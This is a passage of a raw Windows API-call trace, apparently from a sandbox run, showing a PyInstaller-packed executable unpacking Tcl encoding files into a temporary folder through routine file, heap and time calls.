lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.992] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.992] CloseHandle (hObject=0x10c) returned 1 [0035.992] GetLastError () returned 0x0 [0035.992] SetLastError (dwErrCode=0x0) [0035.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0035.992] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.992] GetFileType (hFile=0x10c) returned 0x1 [0035.992] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.992] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.992] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.992] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.992] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.993] CloseHandle (hObject=0x10c) returned 1 [0035.993] GetLastError () returned 0x0 [0035.993] SetLastError (dwErrCode=0x0) [0035.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1251.enc") returned 69 [0035.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1251.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1251.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.993] GetLastError () returned 0x2 [0035.993] SetLastError (dwErrCode=0x2) [0035.993] GetLastError () returned 0x2 [0035.993] SetLastError (dwErrCode=0x2) [0035.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1251.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1251.enc", lpFilePart=0x0) returned 0x44 [0035.993] GetLastError () returned 0x2 [0035.993] SetLastError (dwErrCode=0x2) [0035.993] GetLastError () returned 0x2 [0035.993] SetLastError (dwErrCode=0x2) [0035.993] GetLastError () returned 0x2 [0035.993] SetLastError (dwErrCode=0x2) [0035.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1251.enc") returned 69 [0035.993] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1251.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1251.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.994] GetFileType (hFile=0x10c) returned 0x1 [0035.994] htonl (hostlong=0x43040000) returned 0x443 [0035.994] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.994] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0035.995] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.995] CloseHandle (hObject=0x10c) returned 1 [0035.996] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0035.996] htonl (hostlong=0x30000000) returned 0x30 [0035.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0035.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0035.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.996] GetFileType (hFile=0x10c) returned 0x1 [0035.996] htonl (hostlong=0x254e5100) returned 0x514e25 [0035.996] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x55fe25, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0035.996] htonl (hostlong=0x10020000) returned 0x210 [0035.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x210) returned 0x550600 [0035.996] htonl (hostlong=0x10020000) returned 0x210 [0035.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.996] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0035.996] htonl (hostlong=0x43040000) returned 0x443 [0035.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0035.996] htonl (hostlong=0x10020000) returned 0x210 [0035.996] htonl (hostlong=0x43040000) returned 0x443 [0035.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0035.996] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0035.996] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0035.996] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0035.996] CloseHandle (hObject=0x10c) returned 1 [0035.996] GetLastError () returned 0x0 [0035.996] SetLastError (dwErrCode=0x0) [0035.996] GetLastError () returned 0x0 [0035.996] SetLastError (dwErrCode=0x0) [0035.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0035.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.997] GetFileType (hFile=0x10c) returned 0x1 [0035.997] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.997] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.997] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.997] CloseHandle (hObject=0x10c) returned 1 [0035.997] GetLastError () returned 0x0 [0035.997] SetLastError (dwErrCode=0x0) [0035.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0035.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0035.997] GetFileType (hFile=0x10c) returned 0x1 [0035.997] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0035.997] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0035.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0035.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0035.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0035.998] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0035.998] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0035.998] CloseHandle (hObject=0x10c) returned 1 [0035.998] GetLastError () returned 0x0 [0035.998] SetLastError (dwErrCode=0x0) [0035.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1252.enc") returned 69 [0035.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1252.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1252.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0035.998] GetLastError () returned 0x2 [0035.998] SetLastError (dwErrCode=0x2) [0035.998] GetLastError () returned 0x2 [0035.998] SetLastError (dwErrCode=0x2) [0035.998] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1252.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1252.enc", lpFilePart=0x0) returned 0x44 [0035.998] GetLastError () returned 0x2 [0035.998] SetLastError (dwErrCode=0x2) [0035.998] GetLastError () returned 0x2 [0035.998] SetLastError (dwErrCode=0x2) [0035.998] GetLastError () returned 0x2 [0035.998] SetLastError (dwErrCode=0x2) [0035.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1252.enc") returned 69 [0035.998] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0035.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1252.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1252.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0035.998] GetFileType (hFile=0x10c) returned 0x1 [0035.998] htonl (hostlong=0x43040000) returned 0x443 [0035.998] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0035.998] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.005] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.007] CloseHandle (hObject=0x10c) returned 1 [0036.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.016] htonl (hostlong=0x30000000) returned 0x30 [0036.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.016] GetFileType (hFile=0x10c) returned 0x1 [0036.016] htonl (hostlong=0x35505100) returned 0x515035 [0036.016] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x560035, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.016] htonl (hostlong=0x12020000) returned 0x212 [0036.016] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x212) returned 0x550600 [0036.017] htonl (hostlong=0x12020000) returned 0x212 [0036.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.017] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.017] htonl (hostlong=0x43040000) returned 0x443 [0036.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.017] htonl (hostlong=0x12020000) returned 0x212 [0036.017] htonl (hostlong=0x43040000) returned 0x443 [0036.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.017] CloseHandle (hObject=0x10c) returned 1 [0036.017] GetLastError () returned 0x0 [0036.017] SetLastError (dwErrCode=0x0) [0036.017] GetLastError () returned 0x0 [0036.017] SetLastError (dwErrCode=0x0) [0036.017] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.017] GetFileType (hFile=0x10c) returned 0x1 [0036.017] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.017] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.018] CloseHandle (hObject=0x10c) returned 1 [0036.018] GetLastError () returned 0x0 [0036.018] SetLastError (dwErrCode=0x0) [0036.018] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.018] GetFileType (hFile=0x10c) returned 0x1 [0036.018] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.018] CloseHandle (hObject=0x10c) returned 1 [0036.019] GetLastError () returned 0x0 [0036.019] SetLastError (dwErrCode=0x0) [0036.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1253.enc") returned 69 [0036.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1253.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1253.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.019] GetLastError () returned 0x2 [0036.019] SetLastError (dwErrCode=0x2) [0036.019] GetLastError () returned 0x2 [0036.019] SetLastError (dwErrCode=0x2) [0036.019] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1253.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1253.enc", lpFilePart=0x0) returned 0x44 [0036.019] GetLastError () returned 0x2 [0036.019] SetLastError (dwErrCode=0x2) [0036.019] GetLastError () returned 0x2 [0036.019] SetLastError (dwErrCode=0x2) [0036.019] GetLastError () returned 0x2 [0036.019] SetLastError (dwErrCode=0x2) [0036.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1253.enc") returned 69 [0036.019] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1253.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1253.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.019] GetFileType (hFile=0x10c) returned 0x1 [0036.019] htonl (hostlong=0x43040000) returned 0x443 [0036.019] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.019] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.020] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.020] CloseHandle (hObject=0x10c) returned 1 [0036.021] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.021] htonl (hostlong=0x30000000) returned 0x30 [0036.021] MultiByteToWideChar (in: CodePage=0xfde9, 